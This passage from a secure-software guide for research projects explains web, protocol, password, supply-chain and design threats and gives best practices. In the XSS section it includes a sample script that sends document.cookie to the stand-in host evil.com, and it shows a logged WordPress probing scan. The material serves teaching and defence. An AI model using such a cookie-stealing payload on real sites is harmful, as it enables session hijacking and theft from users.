The Threat

The web has become the universal interface to almost every service and device available. As such, it has also become a universal target for attackers. While any web application (service) has to satisfy all the software security concerns of any deployed software, there are also threats unique to web applications. These threats include cross-site scripting, cross-site request forgery, redirection, and character representation.

In general, while the use of encrypted web connections (using HTTPS, not HTTP) is essential, it, in and of itself, does not prevent any of these attacks.

Cross site scripting (XSS): Cross site scripting can be thought of as an injection attack where the attacker causes a user's browser to execute HTML that they did not intend to execute. These attacks are the most dangerous when the malicious HTML includes executable code usually in the form of JavaScript. Typically, the malicious can be introduced in two ways.

Reflected attacks happen when the user is convinced to follow a malicious URL. Such a URL may be presented to the user as a link in an attractive web page or in a phishing email. The link points to a valid website with a parameter that gets reflected back into the HTML of the response from that site. If the website does not sanitize the parameter value (i.e., remove characters such as "<" and ">"), dangerous tags or JavaScript can be injected into the web page.

Persistent attacks occur when a website includes text from a database in its response to the user, and when that database text could have originated from another user. This is a common scenario, such as when a website includes user reviews or commentary. One user's review of a restaurant is included in the web page returned to another user who was interested in that restaurant. If the website does not sanitize the values stored in the database, dangerous tags or JavaScript can be injected into the web page.

Cross site request forgery (CSRF): Cross site request forgery occurs when a malicious web page causes the user to submit a web request that they did not intend. Such requests are embedded in a web page that the user visits and contain carefully crafted HTML tags or JavaScript. Since any request issued by the user to a particular website, intended or not, includes all the cookies for that site, the request might appear to be authentic and current, causing the user to make a bank operation, purchase, or social media post that they did not intend.

We depended on the web application to sanitize any HTML sent the user to prevent the embedding of malicious tags or JavaScript.

Redirection: A link that appears to be directed at one host can contact a redirection parameter that tells the web server to forward the request to another, presumably malicious server. The parameter is often called “redir” or “url” and has a value that is that of a second website. These links can be obscured to the user by encoding the parameter portion, often with percent encoding (sometimes called URL encoding) where the character is presented by a percent sign followed by a hexadecimal value. For example, the character “:” is represented as `%3A` and “/” as `%2F`. If a server allows redirection to any website, then the user may be fooled into thinking that they have reached a legitimate site instead of a counterfeit (and presumably malicious) one.

We depend on the website to disable “open” (arbitrary) redirection and restrict such operations to legitimate sites, such as `bank.com` redirecting the user to `creditreport.com`. Such limitations are made more difficult by services such as Google search, where each link in a search points to `google.com` with a redirection (`url`) parameter to almost any site on the internet.

Accurately determining the host name or website can be further complicated by internationalized domain name homograph attacks, as described in Section 3.2.1 on phishing.

The Risks

Cross site scripting (XSS): A successful XSS attack can cause your browser to send confidential information to another server. The main source of this confidential information is the Document Object Model (DOM), the data that your browser keeps associated with with each window and website. One of the most interesting values stored in the DOM is the collection of cookies associated with a website. These cookies may include such information as current session IDs, perhaps giving the attacker access to your current logged-in session. For example, the following JavaScript would cause a window to export the cookies associated with your current window to host `evil.com`:

```
<script>
   image = new Image();
   image.src = 'http://evil.com?c='+document.cookie;
 </script>
```

Cross site request forgery (CSRF): A CSRF attack will attempt to cause your browser to submit web requests that you did not intend. A successful CSRF attack could cause loss of money, inappropriate access to a web service, or loss of reputation.

Redirection: The main goal of a redirection attack is to convince you to make an action that you did not intend. This is based on taking you to a website that appears to be legitimate but is actually a malicious site. If you log in to that site, you will have shared your account name and password with the attacker, allowing them future access to your account.

Recognizing the Threat

Cross site scripting (XSS): The unfortunate part about XSS is that it must be addressed on the side of the web application (server). We depend on the web application to sanitize the parameters and stored data before allowing it to be included in a web page result.

Cross site request forgery (CSRF): CSRF requires proper session management. If you are using a well-established web framework, such management may be done for you.

Redirection: You need to ensure that your web server is configured to disallow unrestricted redirection to other websites. If redirection is needed, then there should be an allow-list that specifies the domain name of each allowed redirection site.

Addressing the Threat

Cross site scripting (XSS): As the developer of a web application, you must ensure that the data that you reflect to include from a database is sanitized, removing any special characters or punctuation metacharacters. Checks at both the time the data is read or stored and at the time it is inserted into a web page can provide an extra layer of safety.

Cross site request forgery (CSRF): Prevention of CSRF forgery requires session management that consists of three elements, all of which are needed:

1. Encrypted sessions. The simple rule is to never use HTTP. All web sessions should be conducted over HTTPS and therefore have reasonable encryption and the server authenticated to the client.
2. Hard to guess session IDs. Whether you use a random number generator, cryptographic hashing, or encryption, you will need to make sure that there are no discernible patterns to session IDs. This prevents an attacker from guessing your session ID and possibly hijacking the current session.
3. Nonces in the web form: The web server needs to include a random value, called a *nonce* or *token*, in the web form sent to the client, to be included in the form when it is returned to the server. This random value is in addition to the session ID and should not be stored in a cookie.

A properly designed web framework should include items 2 and 3. And such a framework should default to encrypted sessions (item 1); be sure not to override such a setting.

Redirection: An important way to prevent redirection is to ensure that your web server does not allow open redirection. Most web servers, when installed, will default to no redirection; it typically must be specifically enabled. If your web application is hosted on your organization's web server, you will need to talk with your web services team to find out how they have the server configured.

Recent versions of many web browsers will now display the site that you selected and the site to which you are being redirected, and then ask if you permit such redirection. Users should be trained to not habitually say "yes" to such questions.

Learning Resources

Introduction to Software Security videos, text chapters, and exercises, https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/:

- Web Attacks: Background: Module 3.8.1
- Web Attacks: Cross Site Scripting (XSS): Module 3.8.2
- Web Attacks: Cross Site Request Forgery (CSRF): Module 3.8.3
- Web Attacks: Session Management: Module 3.8.4
- Web Attacks: Redirection: Module 3.8.5

The Open Web Application Security Project (OWASP), Attacks, https://owasp.org/www-community/attacks/

3.3.9 Sequence Guessing and Brute Forcing

The Threat

Attackers can modify resource identifiers to access resources that they are unauthorized to access. This general case affects many types of protocols and systems. There are a variety of contexts where this can happen.

Online conferencing: Attackers try to guess Zoom meeting IDs. Originally this was possible since Zoom meeting IDs were small and easily guessable. Attackers could quickly scan the range of potential meeting IDs to find a valid one and attack it.

Phone numbers: Attackers call random phone numbers to find someone to try to scam because the set of potential valid phone numbers has been mostly populated with valid numbers.

Valid typos: A legitimate user on a system accidentally types in the wrong record value and accesses one for which they are not authorized. For example, Sally wants to type in her own username but through a typo enters a different, but valid, username.

URLs: Attackers modify URLs to access resources with similar names, change what data is sent to the client, change the functionality of a request, determine the existence of or lack of a resource on the server, or gain access to resources they are unauthorized to access.

Assume the URL `https://www.example.com/app/view/profile/539` is used to view the user's own user profile for a web application. Although the user may have logged in and clicked some links within the application to arrive at this URL, they can easily modify the URL to request a different profile record. It is reasonable to assume that 539 represents a record number for a user profile, probably a database ID. By changing it to another number within a sequence, you may be able to request a different profile number and the application may not have been programmed to check if the user is allowed to view the other user profile.

Even if the developer uses something harder to guess, such as a UUID value like `2516-11ec-b778-63651c0453e4`, URL manipulation could still lead to a user accessing a resource for which they are not authorized and an attacker may have pre-existing knowledge of a UUID or even guess it if the unique ID generating algorithm does not create a sufficiently large set of identifiers.

Another example is based on a URL for an image that is used as part of a website. The image tag refers to the image at `https://www.example.com/images/profiles/hsellers.jpg`. Some web servers are configured to generate "auto index" pages when a directory resource is accessed. Thus, it might be possible for a user to see a list of all the profile images by accessing `https://www.example.com/images/profiles/` or even the files of the parent directory “images” by accessing `https://www.example.com/images/`. While this feature may be known to more experienced developers, it is still a feature that is sometimes enabled by default on new web server setups and newer developers may not be familiar with it.

While the term dictionary attack is usually associated with dictionary attacks on passwords or other credentials, the same technique is also used in other ways, such as when discovering the existence of a file or directory.

To provide a real world example of this type of attack, the following log entry was taken from a lightly used web server, showing a request to the URL `/index.html/`**`blog`**`/wp-includes/wlwmanifest.xml` on October 1, 2021. The IP has been partially masked and the request failed with a 404 not found error.

```
167.172.C.D - - [01/Oct/2021:00:10:07 +0000]
"GET /index.html/blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 320
```

However, subsequent requests from the same IP were made to different URLs by changing the "blog" part of the URL to by the following strings:

```
2018, 2019, 2020, blog, cms, media, news, shop, site, sito, test, web,
website, wordpress, wp-includes, wp, wp1, wp2
```

This attack was an attempt to locate installations of the Wordpress application. The same attack was made to the same web server by 31 other hosts in the previous month. The common consensus is that simply placing a web server on a public IP puts it in the line of fire of the various malicious and non-malicious scanners that are constantly scanning.

The Risks

A protected resource could be accessed by an unauthorized user, leading to data leaks or further exploitation.

Recognizing the Threat

Most software uses identifiers to access data and more specifically various pieces of data. When that identifier has been exposed to a user in some way, either by manual input, the browser's address bar, hidden form data, or a URI passed around, then there is the potential that the identifier could be modified to gain access to other records. When a resource ID is sequentially generated (for example, 1, 2, 3, 4, or even aaa, aab, aac), then there is the opportunity for the attacker to simply increment/decrement an identifier that they have authorization to access.

When the resource ID is from a medium-sized set of identifiers (for example, a numeric range from 1 to 1,000,000 or a 5 character code with alphanumerics), then there is potential for an attacker to create an automated attack to try all the potential identifiers to find valid ones.

Addressing the Threat

The goal of this section is to reduce the opportunities to find content that you are trying to protect, however the first step you should take in protecting data is with access controls (See Section 3.3.3). Unused or unmaintained software lying around a website can become a liability and an attacker may find it using a website scanner. Thus, you should remove unmaintained software from the website to avoid such software being exploited.

Sometimes the default settings on web server software can expose the contents of directories through a setting called auto indexing. Some attackers check for this by trying all directories in a URL. In general auto indexing should be turned off if you don't need it. For directories and files that don't need to be directly accessed through HTTP requests, consider using access control settings such as Apache's mod_authz_core directives to control access.

Development tools are useful, but it is also important to understand and consider how they behave and if they are doing anything to expose information. Tools may create files that are not protected by the web server software, leading to information or code exposure. For instance, if you use the vim text editor, it will by default create a swap file in the same directory as the file you are editing, this can lead to the disclosure of code or config files. Another editor, emacs, creates backup files in the same directory, which These behaviors can be disabled in the tool's settings.

You may also be inadvertently advertising the existence of sensitive areas by alluding to them in your website's code or by placing their location in a robots.txt file. While a robots.txt file can help control what a search engine indexes, it is important to remember that they are publicly visible and may alert an attacker to the location of an unprotected resource.

3.4 Exploiting Protocols

Exploiting protocols is a specific case of software exploitation, where an attacker intercepts a communication channel to modify, retransmit, delete, or insert traffic. In these cases, special care must be taken to secure the communications from eavesdropping, verify they have not been tampered with, and ensure their validity.

3.4.1 Replay Attacks

The Threat

In any protocol where data is transmitted, there is the possibility that an attacker can intercept and replay the transmission to gain unauthorized access to a resource, deny a valid user access, perform a transaction, or manipulate data in some way.

The Risks

An unauthorized user may perform an action as an authorized user or prevent an authorized user from taking action.

Recognizing the Threat

If the protocol lacks a one-time token, sequence number, or time based restrictions that are tied to a specific action, then it may be vulnerable to a replay attack.

Addressing the Threat

In the same way that a user can be authenticated such that only one user has access to an account, you can also enforce that a user's specific action in time, such as a web form submission, can only occur once and cannot be replayed by a listening party. A unique, randomly generated and hard-to-guess string, called a nonce, is only used once and authenticates each request to the application. It is recommended to use a trusted session management library to handle the creation of these nonces.[17]

3.4.2 Password Attacks

The Threat

Attackers have tools and equipment to automate the process of cracking passwords, finding exposed resources, and vulnerable applications. They will try to access accounts using commonly used credentials, words from the dictionary, or even by sequentially trying all possible combinations.

While a human manually attempting this is unlikely, attackers often have access to sophisticated ways to brute force software and hardware. A special password cracking system built in 2012 containing 25 GPUs was capable of trying over 350 billion combinations per second[18]. Thus, if a password database has been compromised and exfiltrated, such a cracking system could be used to perform an offline brute force attack to discover many if not all of the passwords in a reasonable amount of time. This is called an *offline password cracking attack* and is the primary motivation for requiring strong passwords. Cloud computing resources are cheap enough now that anyone can harness extensive computing resources for such an attack.

Attackers may have already cracked passwords used on less secure systems and attempt to use those passwords on your system. This vulnerability is called *password reuse*.

[17] These are discussed in more depth in Section 3.3.8, Web Applications.
[18] Dan Goodin, "25-GPU cluster cracks every standard Windows password in <6 hours," *Ars Technica*, Dec. 9, 2012. https://arstechnica.com/information-technology/2012/12/25-gpu-cluster-cracks-every-standard-windows-password-in-6-hours/

Attackers build profiles of users based on their name, information shared online about themselves and their families, or through phishing attacks and then try many combinations of this information to guess valid passwords.

A dictionary attack makes use of a common list of words and strings that are more likely to be valid than just random guessing. This can be an actual dictionary of words, but is more commonly a list of commonly cracked passwords, common usernames, or known software file names. A common technique is to attempt to guess the password for an account using the top 10,000 most commonly cracked passwords[19] in addition to passwords based on the specific username.

The Risks

Through this type of attack, a user could gain malicious access to a resource they are not authorized to access. This could also occur through the same attack on other resources and password reuse. While reusing a password on multiple sites is a common user practice, it leads to increased user insecurity.

Recognizing the Threats

Lack of a password strength policy is a sign that careful thought has not been given to the threat of an offline password cracking attack.

The reuse of passwords to more than one resource, passwords that have been in use for many years, and passwords that are based on personal information or preferences are all warning signs that a password may be at risk.

Addressing the Threats

The best approach to defend against these attacks to add another layer of security: a second factor. In two factor authentication, an alternate source is used. This might include a key fob, authentication app on your phone, text message to your phone, or email message.

If you are in an environment where you have to resort to only passwords, then there are a variety of simple practices that can make the use of passwords more secure. These practices include:

1. Use strong passwords and multi-factor authentication to avoid being the lowest hanging fruit.

[19] https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt

2. Avoid using the same password on more than one resource or account.
3. Encourage users of your application to use password security best practices.
4. Use well recognized password managers to assist with best practices in passwords.
5. Write applications that are friendly to password managers to help users make use of them.
6. Check passwords against known password dictionaries such as the top 10k most commonly cracked password list. Check https://haveibeenpwned.com/ to determine if one of your accounts has had its password compromised already.
7. Use a hashing algorithm that allows for multiple rounds of hashing in order to significantly slow down brute force attacks. For instance, if you use the hashing algorithm SHA512, with 100,000 rounds instead of the default, it will slow down authorized users perhaps only by a second but slow down an attacker by a few orders of magnitude.

3.4.3 Sniffing Network / Data Transfers

The Threat

An attacker with access to a physical network who has compromised the physical network equipment can view network data that is being transferred. An attacker within range of an unencrypted WiFi network can view network data that is being transferred. If the data is not encrypted, they may view the plaintext form of that data. It is even possible on networks with a lack of strong security controls, such as authenticating physical port access and MAC address association, to override the traffic and perform various man-in-the-middle attacks (MITM), where the attacker could intercept and change the data in route.

Some Internet Service Providers, VPN providers, organizations, and even countries intercept and proxy traffic to monitor it, potentially decrypting encrypted connections through the use of a proxy SSL certificate that the client has been forced to trust.

Attackers have compromised VPN providers to gain access to network records and traffic of their customers.[20]

A client side form of this threat is to use the web browser consoles of modern web browsers to modify the Document Object Model (DOM) of a web page so that it is easier for the client to perform various attacks such as through form submission. A client may access the DOM simply to see data hidden inside the webpage. A journalist in Missouri used this simple

[20] Tara Seals, "Hacked Data for 69K LimeVPN Users Up for Sale on Dark Web," *ThreatPost*, July 1, 2021. https://threatpost.com/hacked-data-limevpn-dark-web/167492/

method to discover hidden social security number information on a webpage for teachers throughout the state.[21]

A webpage that uses Javascript to load most of its content through AJAX HTTP calls to populate the DOM, is still able to be compromised because an attacker can view the DOM within the browser's developer console. Some advanced developer consoles, such as BurpSuite, allow an attacker to intercept these AJAX calls and other requests and modify them enroute.

The Risks

Sensitive data can be exposed over unencrypted connections.

Information that you think is hidden from the user's view by way of it being created dynamically through Javascript and AJAX calls can be viewed via the browser's developer console.

Web pages can be tampered with to attempt to bypass server side controls, potentially injecting data or executing commands.

Recognizing the Threat

For web connections, the first sign of trouble is when the protocol indicated before the hostname in the address bar is `http://` or does not show up as `https://`, indicating that the session is not encrypted. The second sign is when the lock symbol that your browser displays is either unlocked, red, or crossed out in some way, indicating that there is no encryption or that there is a problem with the encryption.

If the SSL certificate for a website has been signed or created by someone other than the organization that owns it, then the SHA1 fingerprint value will be different. This difference can be checked in your browser by viewing the certificate information and viewing the SHA1 hex value.

[21] Josh Renaud, "Missouri teachers' Social Security numbers at risk on state agency's website," *St. Louis Post-Dispatch*, Oct. 14, 2021. https://www.stltoday.com/news/local/education/missouri-teachers-social-security-numbers-at-risk-on-state-agencys-website/article_f3339700-ece0-54a1-9a45-f300321b7c82.html#tracking-source=home-top-story-1

Addressing the Threat

On the modern Internet, connections for protocols such as HTTP should be encrypted. If the cost to obtain a certificate is a factor, then it is recommended that you consider `letsencrypt.org`, a free SSL certificate signing authority.

3.4.4 Identity Management

Identity management refers to authenticating users and what they are allowed to do. Identity management is a huge topic by itself and you can read a good treatment of it in "The Federated Identity Management Cookbook[22]". Please refer to that document for an introduction to the topic and to learn how to deploy identity management capabilities.

3.5 Software Supply Chain

The Threat

A serious threat to software security is when an attacker inserts malicious code into a software project using the dependencies or supply chain on which the project depends. Supply chain attacks are simple in nature and difficult to defend against. The attack is perpetrated on code and software outside the control of the project, and then the code is usually incorporated into the system as an update or package providing improved functionality. Supply chain attacks are a risk any time external code is used in a project. And such code use is essentially unavoidable. This code can include packages, libraries, modules, compilers, and build systems including code that is directly included and code that is transitively included (included from other code that you include).

We can quantify the use of external code with *technical leverage,* the ratio between the amount of code that others have developed to the amount that was developed internal to the project.[23] Technical leverage is not a measure of good or bad practice; rather it is a means to quantify the level of value being obtained from the use of external code and the risk that is present from its use. External code has the benefit of amplifying a software development project's productivity by reusing existing functionality and thereby reducing in-house development time and cost. At the same time, technical leverage increases the risks associated with other people's code, and the need to monitor the external code for vulnerabilities and update it or stop using it when necessary.

[22] Scott, Erik; Drake, Josh. (2022). The Federated Identity Management Cookbook (1.0). Zenodo. https://doi.org/10.5281/zenodo.6815944
[23] "Technical Leverage", https://techleverage.eu

The three most common supply chain attacks according to the U.S. Department of Homeland Security's Cybersecurity & Infrastructure Security Agency (CISA) are[24]:

1. Compromising open source code through malicious commits
2. Hijacking updates to insert malicious code
3. Infiltrating the code signing process

In modern software development, there is a balance that must be maintained between keeping dependencies updated and bug free, and not introducing malicious code. Many tools will create and maintain a list of the dependencies that the current project relies on and can even track updates to those packages. This list is commonly referred to as a Software Bill of Materials (SBoM), and comprises the software packages that are required to build and run the software.

The use of dependency analysis tools is helpful to identify software packages used by a software system that have known (reported) vulnerabilities. These tools will report when dependencies should be updated and warn about unmaintained packages. A description of how to use such tools is presented in Section 4.5.

The Risks

Once a foothold into the running code is established through exploiting the supply chain, a malicious agent has the ability to control the code. Depending on the exact nature of the exploit, there are several subtle and hard to detect attacks. These attacks include exfiltration of data, insertion of backdoors into the infrastructure,[25] and destruction of data and/or hardware.

Recognizing the Threat

Detection of the supply chain being compromised is incredibly difficult. As long as the code continues to function correctly, there is rarely a reason to review it, and detection only happens when the code activates an abnormal activity. Abnormal activities usually happen when the malicious code connects back to receive instructions or tries to exfiltrate data. Network activity such as connecting out or sending data, can trigger alerts, particularly

[24] DHS/CISA and NIST, "Defending Against Software Supply Chain Attacks," April 2021. https://www.cisa.gov/sites/default/files/publications/defending_against_software_supply_chain_attacks_508_1.pdf

[25] Peisert, Sean, Bruce Schneier, Hamed Okhravi, Fabio Massacci, Terry Benzel, Carl Landwehr, Mohammad Mannan, Jelena Mirkovic, Atul Prakash, and James Bret Michael. "Perspectives on the SolarWinds Incident." *IEEE Security & Privacy* 19:2(7–13), 2021. https://doi.ieeecomputersociety.org/10.1109/MSEC.2021.3051235
"SolarWinds Security Advisory," 2020. https://www.solarwinds.com/securityadvisory

when the connection is being made to a known bad site. A more extensive discussion of the risks associated with software supply chains can be found in NIST SP800-161r[26].

Addressing the Threat

There are several tools and procedures that can help with detecting and mitigating these kinds of attacks. If we look at the first of the most common attacks listed above, where malicious code is inserted into the repository, this is usually due to insufficient vetting of the code and poorly documented controls around who is allowed to commit updates. Many software projects grow organically and do not have a strong security posture in place about code maintenance.

Instituting a process before you start committing your code to a repository is a first step in addressing malicious commits. Requiring multi-factor authentication (MFA) for commits can help to ensure the identity of who is commiting the code. Other controls include limiting the number of persons allowed to commit and a having process for assigning responsibility for approval of commits to the code repository.

Dependencies used in a project should be updated immediately when a patch is available for a publicly disclosed vulnerability. A study from Synopsys[27] found that there were an average of 528 packages in a codebase, making the process of manually assessing all dependencies extremely cumbersome. To avoid this inefficient process, dependency analysis tools are commonly employed. These tools, also known as software composition analysis (SCA) tools, try to ensure the continued security of a project's dependencies as new vulnerabilities are found over time.

There are a growing number of dependency analysis tools available in the market, including free tools, open-source tools and commercial tools. Each tool implementation is specific to one or more programming languages.

3.6 Insecure Design

The Threat

A lot of software security analysis focuses on bugs in implementation that can be exploited to crash a program or take arbitrary action. We call these vulnerabilities. *Design flaws*

[26] Jon Boyens, Angela Smith, Nadya Bartol, Kris Winkler, Alex Holbrook and Matthew Fallon, "Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations", NIST SP800-161r1, *NIST Special Publication,* May 2022. https://doi.org/10.6028/NIST.SP.800-161r1.
[27] "Open Source Security and Risk Analysis", Synopsis, 2023, https://www.synopsys.com/software-integrity/resources/analyst-reports/open-source-security-risk-analysis.html

happen earlier in the process when a decision is made, explicitly or implicitly, to approach a solution in a particular way before any implementation happens at all. For example, perhaps the incorrect cryptographic library is chosen, or a message is digitally signed before it is encrypted, rather than the other way around. A program might also be needlessly exposing information to gain a performance advantage or to provide a new feature.[28]

The Risks

As with implementation bugs, design flaws can have significant consequences. An authentication mechanism that can be bypassed by downgrading to a less secure and buggy version of the protocol (as has been the case with certain versions of SSH) can lead to unauthorized and perhaps arbitrary access. Assuming the trustworthiness of one module by another module — a key failing of the goals of the *zero trust* model — can have similar consequences. Another key failing is assuming that all input is valid and safe.

Recognizing the Threat

A difference between design flaws and implementation errors is that the former are often harder to find. Whereas we can often write automated software verification tools to determine if user input is checked before it is used (although not necessarily if it is *properly* checked), or to see if the critical section of code involving concurrency does not have the appropriate locks and checks that could lead to a race condition, understanding design flaws, after software has been developed, typically require attempting to reverse engineer programmer intent from source code, which can be very difficult at that stage.

Addressing the Threat

Secure software starts with a careful design that considers the potential threats to the system. As we discussed in Section 3.1, the first step is to identify the trust boundary and attack surface of the software. There are many approaches to threat modeling[29] to choose from, but a good starting place is the well-explained, well-documented approach that was developed at Microsoft and is now widely adopted in industry[30]. There are even interactive tools to help you develop a threat model[31].

---

[28] "Bugreport - libVTE scrollback buffer written to disk, affecting gnome-terminal, xfce4-terminal, terminator and more", May 2013, http://www.climagic.org/bugreports/libvte-scrollback-written-to-disk.html
[29] Nataliya Shevchenko, "Threat Modeling: 12 Available Methods", CMU Software Engineering Institute, December 2018. https://insights.sei.cmu.edu/blog/threat-modeling-12-available-methods/
[30] Adam Shostack, **Threat Modeling: Designing for Security**, John Wiley & Sons, 2014, ISBN-13: 978-1118809990.
[31] "Threat Modeling", Microsoft, https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling

We encourage readers to reference the brief and very well written, "Avoiding the Top 10 Software Security Design Flaws" report[32] by the participants with the IEEE Computer Society Center for Secure Design to a flavor of the risks and mitigation strategies for those risks. That being said, secure design is likely a topic at least as large as secure implementation, and so developers should seek out some of the training resources and use strong software engineering practices as outlined throughout this document whenever possible to reduce severity and prevalence of risks associated with design flaws as well. Section 4.3 on Secure Design, addresses the key principles that underlie the design of secure software.

4 Best Practices for Secure Software

The preceding sections were tailored to individual threats. This section presents strategies that your organization can adopt that are not tailored to specific threats. These best practices will not only increase the security of the software that you develop but also the maturity of your software development process.

We consider these best practices as a progression from the first moment you create your software team, decide on the training to provide your team, organize your code repositories, choose tools (both static and dynamic) for analyzing your code, creating processes for evaluating your code, and managing vulnerabilities as they appear.

4.1 Organizational-Level Governance

The Need

Every software project needs governance in some manner. Few science software development projects possessed a group or person responsible for governing security aspects of the projects, such as monitoring sources for security updates, vetting pull requests, or reviewing software designs for trust relationships. Yet nearly every project understands the need for such a role. Indeed, this role is an essential part of any project that values security, and in fact, is one of the core principles of the Trusted CI Framework (https://www.trustedci.org/framework) for developing security programs.

Must 7, within the pillar of Governance, states, "Organizations must establish a lead role with responsibility to advise and provide services to the organization on cybersecurity

[32] Iván Arce, Neil Daswani, Jim DelGrosso, Danny Dhillon, Christoph Kern, Tadayoshi Kohno, Carl Landwehr, Gary McGraw, Brook Schoenfield, Margo Seltzer, Diomidis Spinellis, Izar Tarandach, Jacob West, "Avoiding the Top 10 Software Security Design Flaws," IEEE Center for Secure Design, 2015. https://cybersecurity.ieee.org/blog/2015/11/13/avoiding-the-top-10-security-flaws/

matters." This role in a project's security program is usually filled by the Chief Information Security Officer (CISO), but that does not necessarily need to be the case in a software development project. The role should, however, be firmly rooted in the software design and development process, such that it has the ability to advise leadership and stakeholders of potential risk at any point in the software's life-cycles.

Note, that dialogue between the information security officer role and leadership is essential not only to identify possible risks in code, but for the project as a whole. For example, is leadership aware that the programmers are relying on HTTP basic authentication as opposed to certificates or API keys? Thus, it should not be a surprise to learn that this dialogue is another core principle in the Trusted CI Framework. Must 5, also under Governance, states, "Organizations must involve leadership in cybersecurity decision making."

Obstacles

Naivety or burdensome. Whether it is due to ignorance or the belief that it will somehow impede development, a governance presence is lacking from many projects. That said, few obstacles prevent a project from leveraging Must 5 and Must 7 from the Trusted CI framework. Involving leadership (Must 5) can require little more than scheduling periodic meetings.

Resource constraints. Must 7, on the other hand, requires either knowledge of or the willingness to understand secure software best practices. If someone with that knowledge does not exist within the project, then it may be necessary to hire additional help, which requires additional resources -- resources that may prove to be too much of a barrier. The only recourse here is to seek additional funding, then.

Approaches

Cybersecurity lead, Must 7: Identify and appoint a cybersecurity lead. Once that lead is identified, their first tasks should be to review the project's current security posture and then report on it to leadership. These two tasks should be scheduled as periodic events. Note, if leadership decides that a certain course of action should be taken, but the security lead is unsure of how best to proceed, in most cases the governing institutions' centralized IT department can be leveraged for help with general cybersecurity. For example, most institutions offer phishing awareness training, provide multi-factor authentication (MFA) and single-sign-on (SSO) solutions for code repositories or other systems, log analysis and centralized logging, and end-point detection and response (EDR). The security lead should enter into a dialogue with their centralized IT to see what resources are available to their project. This dialogue is especially attractive for projects with little to no resources ear-marked for secure software development and-or cybersecurity in general.

Project manager: Similar to the information security officer role, a second role needed by many software development projects is a project manager. It is far too easy for developers to get caught up in the coding process and environment to both forget about desired utility or lose sight of the mission's deadlines. Perhaps worse, some developers can get lost and end up doing more than what is necessary. Adhering to a roadmap or plan in the software's life-cycle reduces the chance of pitfalls; a project manager excels at ensuring that a project stays the course charted. Moreover, project management can be used to track the periodic events for the security lead.

Principle of Least Privilege: Although generally thought of as more of a system/UI design concept, the principle of least privilege[33] should also be incorporated from an organizational level wherever possible. This includes limiting access and rights within the project according to the needs and responsibilities of individuals' positions. To use a non-technical example, a cashier at a bank would generally not be privy to meetings discussing a merger or have access to open the vault containing cash reserves. Another example of this concerns the need to limit what privileges a user of the project's eventual service will have. In both cases, the goal is to protect the service and any dependent systems it relies on, but also to protect the individuals themselves from inadvertently causing damage to the system or their data.

Culture: Project leadership must be able to identify if their project possesses the culture of "we don't need security." This culture can exist due to not having needed or used security controls, policies or procedures in the past, but were able to successfully accomplish their goals. Alternatively, it could come about after a negative experience with trying to implement a security measure, policy, or standard. The key point here is that leadership must be able to honestly evaluate the project's overall attitude towards security and, if the culture is indeed prevalent, ask themselves two questions: do we truly understand the current threat landscape, and do we have the resources to address those threats? If the answer to either of these questions is "no", then the culture is detrimental to the project's success and needs to be addressed.

[33] https://en.wikipedia.org/wiki/Principle_of_least_privilege

4.2 Training

The Need

Every member of a software team should have a basic awareness of software security issues and competence in skills necessary to design, build, test, and deploy secure systems. Without awareness, it is unlikely that there is the motivation to create a secure system and without competence, it is unlikely that there are the skills necessary. Security training is an ongoing process, no matter your level of training or experience. Developers with primarily science backgrounds need to take every opportunity to build their software security knowledge. Developers with formal computer science backgrounds need to regularly expand and update their knowledge to keep up with new developments.

Obstacles

The lack of security training in an organization can come from a variety of sources.

Lack of awareness: For many cyberinfrastructure projects, where the focus and background of the participants is science, there may be a lack of awareness or understanding about security threats and techniques to produce a secure software system.

Denial: Denial can come in several forms. The simplest form is thinking "we're not significant enough to be a worthwhile target". Denial can also come from not realizing that a threat exists. It is easy to assume that if you have firewalls, anti-virus software, and strong login security that the software that you write is not at risk.

Too busy: With the demands of advancing science and producing new research results, it is to keep putting off learning about and addressing security issues. It is essentially a case of "I'm too busy getting behind to get ahead."

No mandate: Your manager or advisor sets your priorities and your success on your project involves addressing those priorities. If you are given no directions to learn about and address software security, then it is difficult to distract yourself from your primary science tasks to consider security issues. Even if you are motivated to address security, you might not be allowed to move forward in this direction.

Insufficient resources: The time that we spend on a task is based on the priorities of a project and the funding available for that task. If software security is only a small part of a project's budget, then there may be little opportunity to take the time for training or acquire the resources necessary to develop software security skills. Small teams face even greater challenges as they have fewer total resources to devote to security.

The overall goal is to prepare your software developers so that they can avoid any security incidents. Without sufficient training, a security incident can trigger a stand down, a halt in development operations, until an assessment can be made of knowledge gaps, training put in place, and the software reviewed and revised to try to avoid future incidents. Such a stand down can be costly and disruptive to research progress.

Approaches

There are several approaches that an individual, group, or organization can take to acquire software security training. No matter the approach that your organization takes, it is worth documenting the available resources and providing clear messaging on the expectations for each person in the role as a developer.

Internally created: Larger research teams or those based within larger organizations such as a research lab or university, might have access to locally created training resources. Such resources might include local security standard documents (such a coding standard), online training resources, peer training (often during the onboarding process), and scheduled teaching sessions.

In house: A variety of organizations, mostly for-profit companies, can provide live or virtual training sessions. The courses can sometimes be customized for your team. There are some good classes out there but they can be expensive.

Conferences and workshops: Conferences and workshops often offer tutorial programs that include software security. At some conferences, such as Supercomputing, the competition to teach a course is high, so the courses are often of high quality. Some of the conferences and meetings that offer related tutorials include the NSF Cybersecurity Summit, Supercomputing, IEEE Secure Development (SecDev), and the various OWASP Appsec meetings. While these tutorials are often live, there are some virtual offerings as well.

Professional tutorials: Many of the same organizations that offer in-house courses also teach them at various venues around the U.S. and world.

University classes: Universities are great resources to support your training.

Some starting places for open and free training resources includes:

- Software security training videos and text chapters developed by TrustedCI that cover the secure software process from design to coding to testing and assessment: https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/
- The good introductory level training resources from SafeCode: https://safecode.org/
- Basic programming lessons and workshops from Software Carpentry: https://software-carpentry.org/

4.3 Secure Design

The Need

When starting on the design of a new piece of software, it is vital to include security in the earliest discussions and planning. The early inclusion of security can set the stage for a project that includes security as one of its primary goals. Such inclusion is important because going back later and "adding security" is always more work and more likely to be flawed since it was not designed in from the beginning.

Obstacles

When facing tight deadlines, many developers may choose to take shortcuts, and jump to implementing new software without a proper design. That is a disaster security-wise (and engineering-wise is not good either). Fixing design-related security problems can be much more expensive than fixing implementation issues.

